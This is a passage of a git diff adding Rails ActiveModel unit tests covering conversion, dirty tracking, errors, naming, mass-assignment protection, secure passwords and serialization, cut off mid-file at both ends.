+class ConversionTest < ActiveModel::TestCase
+ test "to_model default implementation returns self" do
+ contact = Contact.new
+ assert_equal contact, contact.to_model
+ end
+
+ test "to_key default implementation returns nil for new records" do
+ assert_nil Contact.new.to_key
+ end
+
+ test "to_key default implementation returns the id in an array for persisted records" do
+ assert_equal [1], Contact.new(:id => 1).to_key
+ end
+
+ test "to_param default implementation returns nil for new records" do
+ assert_nil Contact.new.to_param
+ end
+
+ test "to_param default implementation returns a string of ids for persisted records" do
+ assert_equal "1", Contact.new(:id => 1).to_param
+ end
+
+ test "to_partial_path default implementation returns a string giving a relative path" do
+ assert_equal "contacts/contact", Contact.new.to_partial_path
+ assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path,
+ "ActiveModel::Conversion#to_partial_path caching should be class-specific"
+ end
+
+ test "to_partial_path handles namespaced models" do
+ assert_equal "helicopter/comanches/comanche", Helicopter::Comanche.new.to_partial_path
+ end
+end
diff --git a/activemodel/test/cases/deprecated_mass_assignment_security_test.rb b/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
new file mode 100644
index 0000000..c1fe882
--- /dev/null
+++ b/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
@@ -0,0 +1,16 @@
+require 'cases/helper'
+require 'models/project'
+
+class DeprecatedMassAssignmentSecurityTest < ActiveModel::TestCase
+ def test_attr_accessible_raise_error
+ assert_raise RuntimeError, /protected_attributes/ do
+ Project.attr_accessible :username
+ end
+ end
+
+ def test_attr_protected_raise_error
+ assert_raise RuntimeError, /protected_attributes/ do
+ Project.attr_protected :username
+ end
+ end
+end
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
new file mode 100644
index 0000000..ba45089
--- /dev/null
+++ b/activemodel/test/cases/dirty_test.rb
@@ -0,0 +1,128 @@
+require "cases/helper"
+
+class DirtyTest < ActiveModel::TestCase
+ class DirtyModel
+ include ActiveModel::Dirty
+ define_attribute_methods :name, :color
+
+ def initialize
+ @name = nil
+ @color = nil
+ end
+
+ def name
+ @name
+ end
+
+ def name=(val)
+ name_will_change!
+ @name = val
+ end
+
+ def color
+ @color
+ end
+
+ def color=(val)
+ color_will_change! unless val == @color
+ @color = val
+ end
+
+ def save
+ @previously_changed = changes
+ @changed_attributes.clear
+ end
+ end
+
+ setup do
+ @model = DirtyModel.new
+ end
+
+ test "setting attribute will result in change" do
+ assert !@model.changed?
+ assert !@model.name_changed?
+ @model.name = "Ringo"
+ assert @model.changed?
+ assert @model.name_changed?
+ end
+
+ test "list of changed attribute keys" do
+ assert_equal [], @model.changed
+ @model.name = "Paul"
+ assert_equal ['name'], @model.changed
+ end
+
+ test "changes to attribute values" do
+ assert !@model.changes['name']
+ @model.name = "John"
+ assert_equal [nil, "John"], @model.changes['name']
+ end
+
+ test "changes accessible through both strings and symbols" do
+ @model.name = "David"
+ assert_not_nil @model.changes[:name]
+ assert_not_nil @model.changes['name']
+ end
+
+ test "attribute mutation" do
+ @model.instance_variable_set("@name", "Yam")
+ assert !@model.name_changed?
+ @model.name.replace("Hadad")
+ assert !@model.name_changed?
+ @model.name_will_change!
+ @model.name.replace("Baal")
+ assert @model.name_changed?
+ end
+
+ test "resetting attribute" do
+ @model.name = "Bob"
+ @model.reset_name!
+ assert_nil @model.name
+ assert !@model.name_changed?
+ end
+
+ test "setting color to same value should not result in change being recorded" do
+ @model.color = "red"
+ assert @model.color_changed?
+ @model.save
+ assert !@model.color_changed?
+ assert !@model.changed?
+ @model.color = "red"
+ assert !@model.color_changed?
+ assert !@model.changed?
+ end
+
+ test "saving should reset model's changed status" do
+ @model.name = "Alf"
+ assert @model.changed?
+ @model.save
+ assert !@model.changed?
+ assert !@model.name_changed?
+ end
+
+ test "saving should preserve previous changes" do
+ @model.name = "Jericho Cane"
+ @model.save
+ assert_equal [nil, "Jericho Cane"], @model.previous_changes['name']
+ end
+
+ test "previous value is preserved when changed after save" do
+ assert_equal({}, @model.changed_attributes)
+ @model.name = "Paul"
+ assert_equal({ "name" => nil }, @model.changed_attributes)
+
+ @model.save
+
+ @model.name = "John"
+ assert_equal({ "name" => "Paul" }, @model.changed_attributes)
+ end
+
+ test "changing the same attribute multiple times retains the correct original value" do
+ @model.name = "Otto"
+ @model.save
+ @model.name = "DudeFella ManGuy"
+ @model.name = "Mr. Manfredgensonton"
+ assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
+ assert_equal @model.name_was, "Otto"
+ end
+end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
new file mode 100644
index 0000000..80ff97d
--- /dev/null
+++ b/activemodel/test/cases/errors_test.rb
@@ -0,0 +1,303 @@
+require "cases/helper"
+
+class ErrorsTest < ActiveModel::TestCase
+ class Person
+ extend ActiveModel::Naming
+ def initialize
+ @errors = ActiveModel::Errors.new(self)
+ end
+
+ attr_accessor :name, :age
+ attr_reader :errors
+
+ def validate!
+ errors.add(:name, "can not be nil") if name == nil
+ end
+
+ def read_attribute_for_validation(attr)
+ send(attr)
+ end
+
+ def self.human_attribute_name(attr, options = {})
+ attr
+ end
+
+ def self.lookup_ancestors
+ [self]
+ end
+ end
+
+ def test_delete
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = 'omg'
+ errors.delete(:foo)
+ assert_empty errors[:foo]
+ end
+
+ def test_include?
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = 'omg'
+ assert errors.include?(:foo), 'errors should include :foo'
+ end
+
+ def test_dup
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = 'bar'
+ errors_dup = errors.dup
+ errors_dup[:bar] = 'omg'
+ assert_not_same errors_dup.messages, errors.messages
+ end
+
+ def test_has_key?
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = 'omg'
+ assert errors.has_key?(:foo), 'errors should have key :foo'
+ end
+
+ test "clear errors" do
+ person = Person.new
+ person.validate!
+
+ assert_equal 1, person.errors.count
+ person.errors.clear
+ assert person.errors.empty?
+ end
+
+ test "get returns the errors for the provided key" do
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = "omg"
+
+ assert_equal ["omg"], errors.get(:foo)
+ end
+
+ test "sets the error with the provided key" do
+ errors = ActiveModel::Errors.new(self)
+ errors.set(:foo, "omg")
+
+ assert_equal({ foo: "omg" }, errors.messages)
+ end
+
+ test "values returns an array of messages" do
+ errors = ActiveModel::Errors.new(self)
+ errors.set(:foo, "omg")
+ errors.set(:baz, "zomg")
+
+ assert_equal ["omg", "zomg"], errors.values
+ end
+
+ test "keys returns the error keys" do
+ errors = ActiveModel::Errors.new(self)
+ errors.set(:foo, "omg")
+ errors.set(:baz, "zomg")
+
+ assert_equal [:foo, :baz], errors.keys
+ end
+
+ test "detecting whether there are errors with empty?, blank?, include?" do
+ person = Person.new
+ person.errors[:foo]
+ assert person.errors.empty?
+ assert person.errors.blank?
+ assert !person.errors.include?(:foo)
+ end
+
+ test "adding errors using conditionals with Person#validate!" do
+ person = Person.new
+ person.validate!
+ assert_equal ["name can not be nil"], person.errors.full_messages
+ assert_equal ["can not be nil"], person.errors[:name]
+ end
+
+ test "assign error" do
+ person = Person.new
+ person.errors[:name] = 'should not be nil'
+ assert_equal ["should not be nil"], person.errors[:name]
+ end
+
+ test "add an error message on a specific attribute" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ assert_equal ["can not be blank"], person.errors[:name]
+ end
+
+ test "add an error with a symbol" do
+ person = Person.new
+ person.errors.add(:name, :blank)
+ message = person.errors.generate_message(:name, :blank)
+ assert_equal [message], person.errors[:name]
+ end
+
+ test "add an error with a proc" do
+ person = Person.new
+ message = Proc.new { "can not be blank" }
+ person.errors.add(:name, message)
+ assert_equal ["can not be blank"], person.errors[:name]
+ end
+
+ test "added? detects if a specific error was added to the object" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ assert person.errors.added?(:name, "can not be blank")
+ end
+
+ test "added? handles symbol message" do
+ person = Person.new
+ person.errors.add(:name, :blank)
+ assert person.errors.added?(:name, :blank)
+ end
+
+ test "added? handles proc messages" do
+ person = Person.new
+ message = Proc.new { "can not be blank" }
+ person.errors.add(:name, message)
+ assert person.errors.added?(:name, message)
+ end
+
+ test "added? defaults message to :invalid" do
+ person = Person.new
+ person.errors.add(:name)
+ assert person.errors.added?(:name)
+ end
+
+ test "added? matches the given message when several errors are present for the same attribute" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "is invalid")
+ assert person.errors.added?(:name, "can not be blank")
+ end
+
+ test "added? returns false when no errors are present" do
+ person = Person.new
+ assert !person.errors.added?(:name)
+ end
+
+ test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
+ person = Person.new
+ person.errors.add(:name, "is invalid")
+ assert !person.errors.added?(:name, "can not be blank")
+ end
+
+ test "size calculates the number of error messages" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ assert_equal 1, person.errors.size
+ end
+
+ test "to_a returns the list of errors with complete messages containing the attribute names" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "can not be nil")
+ assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
+ end
+
+ test "to_hash returns the error messages hash" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ assert_equal({ name: ["can not be blank"] }, person.errors.to_hash)
+ end
+
+ test "full_messages creates a list of error messages with the attribute name included" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "can not be nil")
+ assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages
+ end
+
+ test "full_messages_for contains all the error messages for the given attribute" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "can not be nil")
+ assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages_for(:name)
+ end
+
+ test "full_messages_for does not contain error messages from other attributes" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:email, "can not be blank")
+ assert_equal ["name can not be blank"], person.errors.full_messages_for(:name)
+ end
+
+ test "full_messages_for returns an empty list in case there are no errors for the given attribute" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ assert_equal [], person.errors.full_messages_for(:email)
+ end
+
+ test "full_message returns the given message when attribute is :base" do
+ person = Person.new
+ assert_equal "press the button", person.errors.full_message(:base, "press the button")
+ end
+
+ test "full_message returns the given message with the attribute name included" do
+ person = Person.new
+ assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank")
+ assert_equal "name_test can not be blank", person.errors.full_message(:name_test, "can not be blank")
+ end
+
+ test "as_json creates a json formatted representation of the errors hash" do
+ person = Person.new
+ person.validate!
+
+ assert_equal({ name: ["can not be nil"] }, person.errors.as_json)
+ end
+
+ test "as_json with :full_messages option creates a json formatted representation of the errors containing complete messages" do
+ person = Person.new
+ person.validate!
+
+ assert_equal({ name: ["name can not be nil"] }, person.errors.as_json(full_messages: true))
+ end
+
+ test "generate_message works without i18n_scope" do
+ person = Person.new
+ assert !Person.respond_to?(:i18n_scope)
+ assert_nothing_raised {
+ person.errors.generate_message(:name, :blank)
+ }
+ end
+
+ test "add_on_empty generates message" do
+ person = Person.new
+ person.errors.expects(:generate_message).with(:name, :empty, {})
+ person.errors.add_on_empty :name
+ end
+
+ test "add_on_empty generates message for multiple attributes" do
+ person = Person.new
+ person.errors.expects(:generate_message).with(:name, :empty, {})
+ person.errors.expects(:generate_message).with(:age, :empty, {})
+ person.errors.add_on_empty [:name, :age]
+ end
+
+ test "add_on_empty generates message with custom default message" do
+ person = Person.new
+ person.errors.expects(:generate_message).with(:name, :empty, {:message => 'custom'})
+ person.errors.add_on_empty :name, :message => 'custom'
+ end
+
+ test "add_on_empty generates message with empty string value" do
+ person = Person.new
+ person.name = ''
+ person.errors.expects(:generate_message).with(:name, :empty, {})
+ person.errors.add_on_empty :name
+ end
+
+ test "add_on_blank generates message" do
+ person = Person.new
+ person.errors.expects(:generate_message).with(:name, :blank, {})
+ person.errors.add_on_blank :name
+ end
+
+ test "add_on_blank generates message for multiple attributes" do
+ person = Person.new
+ person.errors.expects(:generate_message).with(:name, :blank, {})
+ person.errors.expects(:generate_message).with(:age, :blank, {})
+ person.errors.add_on_blank [:name, :age]
+ end
+
+ test "add_on_blank generates message with custom default message" do
+ person = Person.new
+ person.errors.expects(:generate_message).with(:name, :blank, {:message => 'custom'})
+ person.errors.add_on_blank :name, :message => 'custom'
+ end
+end
diff --git a/activemodel/test/cases/forbidden_attributes_protection_test.rb b/activemodel/test/cases/forbidden_attributes_protection_test.rb
new file mode 100644
index 0000000..3cb204a
--- /dev/null
+++ b/activemodel/test/cases/forbidden_attributes_protection_test.rb
@@ -0,0 +1,36 @@
+require 'cases/helper'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'models/account'
+
+class ProtectedParams < ActiveSupport::HashWithIndifferentAccess
+ attr_accessor :permitted
+ alias :permitted? :permitted
+
+ def initialize(attributes)
+ super(attributes)
+ @permitted = false
+ end
+
+ def permit!
+ @permitted = true
+ self
+ end
+end
+
+class ActiveModelMassUpdateProtectionTest < ActiveSupport::TestCase
+ test "forbidden attributes cannot be used for mass updating" do
+ params = ProtectedParams.new({ "a" => "b" })
+ assert_raises(ActiveModel::ForbiddenAttributesError) do
+ Account.new.sanitize_for_mass_assignment(params)
+ end
+ end
+
+ test "permitted attributes can be used for mass updating" do
+ params = ProtectedParams.new({ "a" => "b" }).permit!
+ assert_equal({ "a" => "b" }, Account.new.sanitize_for_mass_assignment(params))
+ end
+
+ test "regular attributes should still be allowed" do
+ assert_equal({ a: "b" }, Account.new.sanitize_for_mass_assignment(a: "b"))
+ end
+end
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
new file mode 100644
index 0000000..7a63674
--- /dev/null
+++ b/activemodel/test/cases/helper.rb
@@ -0,0 +1,10 @@
+require File.expand_path('../../../../load_paths', __FILE__)
+
+require 'config'
+require 'active_model'
+require 'active_support/core_ext/string/access'
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+require 'active_support/testing/autorun'
diff --git a/activemodel/test/cases/lint_test.rb b/activemodel/test/cases/lint_test.rb
new file mode 100644
index 0000000..8faf93c
--- /dev/null
+++ b/activemodel/test/cases/lint_test.rb
@@ -0,0 +1,20 @@
+require 'cases/helper'
+
+class LintTest < ActiveModel::TestCase
+ include ActiveModel::Lint::Tests
+
+ class CompliantModel
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?() false end
+
+ def errors
+ Hash.new([])
+ end
+ end
+
+ def setup
+ @model = CompliantModel.new
+ end
+end
diff --git a/activemodel/test/cases/model_test.rb b/activemodel/test/cases/model_test.rb
new file mode 100644
index 0000000..588d8e6
--- /dev/null
+++ b/activemodel/test/cases/model_test.rb
@@ -0,0 +1,32 @@
+require 'cases/helper'
+
+class ModelTest < ActiveModel::TestCase
+ include ActiveModel::Lint::Tests
+
+ class BasicModel
+ include ActiveModel::Model
+ attr_accessor :attr
+ end
+
+ def setup
+ @model = BasicModel.new
+ end
+
+ def test_initialize_with_params
+ object = BasicModel.new(:attr => "value")
+ assert_equal object.attr, "value"
+ end
+
+ def test_initialize_with_nil_or_empty_hash_params_does_not_explode
+ assert_nothing_raised do
+ BasicModel.new()
+ BasicModel.new nil
+ BasicModel.new({})
+ end
+ end
+
+ def test_persisted_is_always_false
+ object = BasicModel.new(:attr => "value")
+ assert object.persisted? == false
+ end
+end
diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb
new file mode 100644
index 0000000..aa683f4
--- /dev/null
+++ b/activemodel/test/cases/naming_test.rb
@@ -0,0 +1,274 @@
+require 'cases/helper'
+require 'models/contact'
+require 'models/sheep'
+require 'models/track_back'
+require 'models/blog_post'
+
+class NamingTest < ActiveModel::TestCase
+ def setup
+ @model_name = ActiveModel::Name.new(Post::TrackBack)
+ end
+
+ def test_singular
+ assert_equal 'post_track_back', @model_name.singular
+ end
+
+ def test_plural
+ assert_equal 'post_track_backs', @model_name.plural
+ end
+
+ def test_element
+ assert_equal 'track_back', @model_name.element
+ end
+
+ def test_collection
+ assert_equal 'post/track_backs', @model_name.collection
+ end
+
+ def test_human
+ assert_equal 'Track back', @model_name.human
+ end
+
+ def test_route_key
+ assert_equal 'post_track_backs', @model_name.route_key
+ end
+
+ def test_param_key
+ assert_equal 'post_track_back', @model_name.param_key
+ end
+
+ def test_i18n_key
+ assert_equal :"post/track_back", @model_name.i18n_key
+ end
+end
+
+class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
+ def setup
+ @model_name = ActiveModel::Name.new(Blog::Post, Blog)
+ end
+
+ def test_singular
+ assert_equal 'blog_post', @model_name.singular
+ end
+
+ def test_plural
+ assert_equal 'blog_posts', @model_name.plural
+ end
+
+ def test_element
+ assert_equal 'post', @model_name.element
+ end
+
+ def test_collection
+ assert_equal 'blog/posts', @model_name.collection
+ end
+
+ def test_human
+ assert_equal 'Post', @model_name.human
+ end
+
+ def test_route_key
+ assert_equal 'posts', @model_name.route_key
+ end
+
+ def test_param_key
+ assert_equal 'post', @model_name.param_key
+ end
+
+ def test_i18n_key
+ assert_equal :"blog/post", @model_name.i18n_key
+ end
+end
+
+class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase
+ def setup
+ @model_name = ActiveModel::Name.new(Blog::Post)
+ end
+
+ def test_singular
+ assert_equal 'blog_post', @model_name.singular
+ end
+
+ def test_plural
+ assert_equal 'blog_posts', @model_name.plural
+ end
+
+ def test_element
+ assert_equal 'post', @model_name.element
+ end
+
+ def test_collection
+ assert_equal 'blog/posts', @model_name.collection
+ end
+
+ def test_human
+ assert_equal 'Post', @model_name.human
+ end
+
+ def test_route_key
+ assert_equal 'blog_posts', @model_name.route_key
+ end
+
+ def test_param_key
+ assert_equal 'blog_post', @model_name.param_key
+ end
+
+ def test_i18n_key
+ assert_equal :"blog/post", @model_name.i18n_key
+ end
+end
+
+class NamingWithSuppliedModelNameTest < ActiveModel::TestCase
+ def setup
+ @model_name = ActiveModel::Name.new(Blog::Post, nil, 'Article')
+ end
+
+ def test_singular
+ assert_equal 'article', @model_name.singular
+ end
+
+ def test_plural
+ assert_equal 'articles', @model_name.plural
+ end
+
+ def test_element
+ assert_equal 'article', @model_name.element
+ end
+
+ def test_collection
+ assert_equal 'articles', @model_name.collection
+ end
+
+ def test_human
+ assert_equal 'Article', @model_name.human
+ end
+
+ def test_route_key
+ assert_equal 'articles', @model_name.route_key
+ end
+
+ def test_param_key
+ assert_equal 'article', @model_name.param_key
+ end
+
+ def test_i18n_key
+ assert_equal :"article", @model_name.i18n_key
+ end
+end
+
+class NamingUsingRelativeModelNameTest < ActiveModel::TestCase
+ def setup
+ @model_name = Blog::Post.model_name
+ end
+
+ def test_singular
+ assert_equal 'blog_post', @model_name.singular
+ end
+
+ def test_plural
+ assert_equal 'blog_posts', @model_name.plural
+ end
+
+ def test_element
+ assert_equal 'post', @model_name.element
+ end
+
+ def test_collection
+ assert_equal 'blog/posts', @model_name.collection
+ end
+
+ def test_human
+ assert_equal 'Post', @model_name.human
+ end
+
+ def test_route_key
+ assert_equal 'posts', @model_name.route_key
+ end
+
+ def test_param_key
+ assert_equal 'post', @model_name.param_key
+ end
+
+ def test_i18n_key
+ assert_equal :"blog/post", @model_name.i18n_key
+ end
+end
+
+class NamingHelpersTest < ActiveModel::TestCase
+ def setup
+ @klass = Contact
+ @record = @klass.new
+ @singular = 'contact'
+ @plural = 'contacts'
+ @uncountable = Sheep
+ @singular_route_key = 'contact'
+ @route_key = 'contacts'
+ @param_key = 'contact'
+ end
+
+ def test_to_model_called_on_record
+ assert_equal 'post_named_track_backs', plural(Post::TrackBack.new)
+ end
+
+ def test_singular
+ assert_equal @singular, singular(@record)
+ end
+
+ def test_singular_for_class
+ assert_equal @singular, singular(@klass)
+ end
+
+ def test_plural
+ assert_equal @plural, plural(@record)
+ end
+
+ def test_plural_for_class
+ assert_equal @plural, plural(@klass)
+ end
+
+ def test_route_key
+ assert_equal @route_key, route_key(@record)
+ assert_equal @singular_route_key, singular_route_key(@record)
+ end
+
+ def test_route_key_for_class
+ assert_equal @route_key, route_key(@klass)
+ assert_equal @singular_route_key, singular_route_key(@klass)
+ end
+
+ def test_param_key
+ assert_equal @param_key, param_key(@record)
+ end
+
+ def test_param_key_for_class
+ assert_equal @param_key, param_key(@klass)
+ end
+
+ def test_uncountable
+ assert uncountable?(@uncountable), "Expected 'sheep' to be uncountable"
+ assert !uncountable?(@klass), "Expected 'contact' to be countable"
+ end
+
+ def test_uncountable_route_key
+ assert_equal "sheep", singular_route_key(@uncountable)
+ assert_equal "sheep_index", route_key(@uncountable)
+ end
+
+ private
+ def method_missing(method, *args)
+ ActiveModel::Naming.send(method, *args)
+ end
+end
+
+class NameWithAnonymousClassTest < ActiveModel::TestCase
+ def test_anonymous_class_without_name_argument
+ assert_raises(ArgumentError) do
+ ActiveModel::Name.new(Class.new)
+ end
+ end
+
+ def test_anonymous_class_with_name_argument
+ model_name = ActiveModel::Name.new(Class.new, nil, "Anonymous")
+ assert_equal "Anonymous", model_name
+ end
+end
diff --git a/activemodel/test/cases/railtie_test.rb b/activemodel/test/cases/railtie_test.rb
new file mode 100644
index 0000000..a0cd140
--- /dev/null
+++ b/activemodel/test/cases/railtie_test.rb
@@ -0,0 +1,29 @@
+require 'cases/helper'
+require 'active_support/testing/isolation'
+
+class RailtieTest < ActiveModel::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ require 'active_model/railtie'
+
+ @app ||= Class.new(::Rails::Application) do
+ config.eager_load = false
+ config.logger = Logger.new(STDOUT)
+ end
+ end
+
+ test 'secure password min_cost is false in the development environment' do
+ Rails.env = 'development'
+ @app.initialize!
+
+ assert_equal false, ActiveModel::SecurePassword.min_cost
+ end
+
+ test 'secure password min_cost is true in the test environment' do
+ Rails.env = 'test'
+ @app.initialize!
+
+ assert_equal true, ActiveModel::SecurePassword.min_cost
+ end
+end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
new file mode 100644
index 0000000..02cd3b8
--- /dev/null
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -0,0 +1,97 @@
+require 'cases/helper'
+require 'models/user'
+require 'models/oauthed_user'
+require 'models/visitor'
+require 'models/administrator'
+
+class SecurePasswordTest < ActiveModel::TestCase
+ setup do
+ ActiveModel::SecurePassword.min_cost = true
+
+ @user = User.new
+ @visitor = Visitor.new
+ @oauthed_user = OauthedUser.new
+ end
+
+ teardown do
+ ActiveModel::SecurePassword.min_cost = false
+ end
+
+ test "blank password" do
+ @user.password = @visitor.password = ''
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert @visitor.valid?(:create), 'visitor should be valid'
+ end
+
+ test "nil password" do
+ @user.password = @visitor.password = nil
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert @visitor.valid?(:create), 'visitor should be valid'
+ end
+
+ test "blank password doesn't override previous password" do
+ @user.password = 'test'
+ @user.password = ''
+ assert_equal @user.password, 'test'
+ end
+
+ test "password must be present" do
+ assert !@user.valid?(:create)
+ assert_equal 1, @user.errors.size
+ end
+
+ test "match confirmation" do
+ @user.password = @visitor.password = "thiswillberight"
+ @user.password_confirmation = @visitor.password_confirmation = "wrong"
+
+ assert !@user.valid?
+ assert @visitor.valid?
+
+ @user.password_confirmation = "thiswillberight"
+
+ assert @user.valid?
+ end
+
+ test "authenticate" do
+ @user.password = "secret"
+
+ assert !@user.authenticate("wrong")
+ assert @user.authenticate("secret")
+ end
+
+ test "User should not be created with blank digest" do
+ assert_raise RuntimeError do
+ @user.run_callbacks :create
+ end
+ @user.password = "supersecretpassword"
+ assert_nothing_raised do
+ @user.run_callbacks :create
+ end
+ end
+
+ test "Oauthed user can be created with blank digest" do
+ assert_nothing_raised do
+ @oauthed_user.run_callbacks :create
+ end
+ end
+
+ test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
+ ActiveModel::SecurePassword.min_cost = false
+
+ @user.password = "secret"
+ assert_equal BCrypt::Engine::DEFAULT_COST, @user.password_digest.cost
+ end
+
+ test "Password digest cost can be set to bcrypt min cost to speed up tests" do
+ ActiveModel::SecurePassword.min_cost = true
+
+ @user.password = "secret"
+ assert_equal BCrypt::Engine::MIN_COST, @user.password_digest.cost
+ end
+
+ test "blank password_confirmation does not result in a confirmation error" do
+ @user.password = ""
+ @user.password_confirmation = ""
+ assert @user.valid?(:update), "user should be valid"
+ end
+end
diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb
new file mode 100644
index 0000000..d2ba9fd
--- /dev/null
+++ b/activemodel/test/cases/serialization_test.rb
@@ -0,0 +1,168 @@
+require "cases/helper"
+require 'active_support/core_ext/object/instance_variables'
+
+class SerializationTest < ActiveModel::TestCase
+ class User
+ include ActiveModel::Serialization
+
+ attr_accessor :name, :email, :gender, :address, :friends
+
+ def initialize(name, email, gender)
+ @name, @email, @gender = name, email, gender
+ @friends = []
+ end
+
+ def attributes
+ instance_values.except("address", "friends")
+ end
+
+ def foo
+ 'i_am_foo'
+ end
+ end
+
+ class Address
+ include ActiveModel::Serialization
+
+ attr_accessor :street, :city, :state, :zip
+
+ def attributes
+ instance_values
+ end
+ end
+
+ setup do
+ @user = User.new('David', 'david at example.com', 'male')
+ @user.address = Address.new
+ @user.address.street = "123 Lane"
+ @user.address.city = "Springfield"
+ @user.address.state = "CA"
+ @user.address.zip = 11111
+ @user.friends = [User.new('Joe', 'joe at example.com', 'male'),
+ User.new('Sue', 'sue at example.com', 'female')]
+ end
+
+ def test_method_serializable_hash_should_work
+ expected = {"name"=>"David", "gender"=>"male", "email"=>"david at example.com"}
+ assert_equal expected, @user.serializable_hash
+ end
+
+ def test_method_serializable_hash_should_work_with_only_option
+ expected = {"name"=>"David"}
+ assert_equal expected, @user.serializable_hash(:only => [:name])
+ end
+
+ def test_method_serializable_hash_should_work_with_except_option
+ expected = {"gender"=>"male", "email"=>"david at example.com"}
+ assert_equal expected, @user.serializable_hash(:except => [:name])
+ end
+
+ def test_method_serializable_hash_should_work_with_methods_option
+ expected = {"name"=>"David", "gender"=>"male", "foo"=>"i_am_foo", "email"=>"david at example.com"}
+ assert_equal expected, @user.serializable_hash(:methods => [:foo])
+ end
+
+ def test_method_serializable_hash_should_work_with_only_and_methods
+ expected = {"foo"=>"i_am_foo"}
+ assert_equal expected, @user.serializable_hash(:only => [], :methods => [:foo])
+ end
+
+ def test_method_serializable_hash_should_work_with_except_and_methods
+ expected = {"gender"=>"male", "foo"=>"i_am_foo"}
+ assert_equal expected, @user.serializable_hash(:except => [:name, :email], :methods => [:foo])
+ end
+
+ def test_should_not_call_methods_that_dont_respond
+ expected = {"name"=>"David", "gender"=>"male", "email"=>"david at example.com"}
+ assert_equal expected, @user.serializable_hash(:methods => [:bar])
+ end
+
+ def test_should_use_read_attribute_for_serialization
+ def @user.read_attribute_for_serialization(n)
+ "Jon"
+ end
+
+ expected = { "name" => "Jon" }
+ assert_equal expected, @user.serializable_hash(:only => :name)
+ end
+
+ def test_include_option_with_singular_association
+ expected = {"name"=>"David", "gender"=>"male", "email"=>"david at example.com",
+ "address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}}
+ assert_equal expected, @user.serializable_hash(:include => :address)
+ end
+
+ def test_include_option_with_plural_association
+ expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
+ "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
+ {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
+ assert_equal expected, @user.serializable_hash(:include => :friends)
+ end
+
+ def test_include_option_with_empty_association
+ @user.friends = []
+ expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David", "friends"=>[]}
+ assert_equal expected, @user.serializable_hash(:include => :friends)
+ end
+
+ class FriendList
+ def initialize(friends)
+ @friends = friends
+ end
+
+ def to_ary
+ @friends
+ end
+ end
+
+ def test_include_option_with_ary
+ @user.friends = FriendList.new(@user.friends)
+ expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
+ "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
+ {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
+ assert_equal expected, @user.serializable_hash(:include => :friends)
+ end
+
+ def test_multiple_includes
+ expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
+ "address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111},
+ "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male'},
+ {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female'}]}
+ assert_equal expected, @user.serializable_hash(:include => [:address, :friends])
+ end
+
+ def test_include_with_options
+ expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
+ "address"=>{"street"=>"123 Lane"}}
+ assert_equal expected, @user.serializable_hash(:include => {:address => {:only => "street"}})
+ end
+
+ def test_nested_include
+ @user.friends.first.friends = [@user]
+ expected = {"email"=>"david at example.com", "gender"=>"male", "name"=>"David",
+ "friends"=>[{"name"=>'Joe', "email"=>'joe at example.com', "gender"=>'male',
+ "friends"=> [{"email"=>"david at example.com", "gender"=>"male", "name"=>"David"}]},
+ {"name"=>'Sue', "email"=>'sue at example.com', "gender"=>'female', "friends"=> []}]}
+ assert_equal expected, @user.serializable_hash(:include => {:friends => {:include => :friends}})
+ end
+
+ def test_only_include
+ expected = {"name"=>"David", "friends" => [{"name" => "Joe"}, {"name" => "Sue"}]}
